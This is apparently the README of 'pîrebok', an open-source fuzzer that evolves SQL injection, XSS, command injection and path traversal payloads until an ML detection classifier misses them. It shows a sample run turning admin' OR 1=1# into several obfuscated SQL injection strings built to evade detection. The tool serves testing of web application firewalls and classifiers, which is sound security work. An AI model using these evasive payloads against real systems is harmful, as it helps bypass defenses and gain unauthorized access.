pîrebok (from Kurdish "witch") - a guided adversarial fuzzer with evolutionary search

• Documentation: https://happyhackingspace.github.io/pirebok
• GitHub: https://github.com/HappyHackingSpace/pirebok
• PyPI: https://pypi.org/project/pirebok/
• Free software: MIT

Features

• 4 attack types: SQL injection, XSS, command injection, path traversal
• Random and guided (evolutionary) fuzzers for each attack type
• Guided fuzzers use metamaska classifier to iteratively mutate payloads until they evade detection
  • Priority-queue-based payload pool ranked by confidence
  • Configurable max_rounds, round_size, and timeout
• 17 type-specific transformers + 6 generic transformers

How it works

Give it a payload. It mutates it until it bypasses the classifier.

pirebok -f GuidedRandomSqlFuzzer -p "admin' OR 1=1#" -s 5 -q

"admin' OR%001313<>1314#"
'admin\'/*%%0x9*/|| 1=1 || "iD" NOT LIKE "iD"#'
"ADmIn'/*>SQN*//**//*h[xI*/or/*p*//**/0X1=0X1#s<"
'AdMin\'\x0c|| "b"<>"bV"#;YR\x0b'
'aDMin\'||"Mce"%%231BF7%%0ALiKE%00"McE"#>wgpxX'

The original admin' OR 1=1# is classified as sqli with 100% confidence. After evolutionary mutations, the classifier misclassifies them as xss with confidence dropping to 0.48 - below the detection threshold.

Install

pip install pirebok

# for guided mode (requires metamaska)
pip install pirebok[guided]

Credits

• Cookiecutter
• waynerv/cookiecutter-pypackage
• ML-based-WAF
• WAF-A-MoLE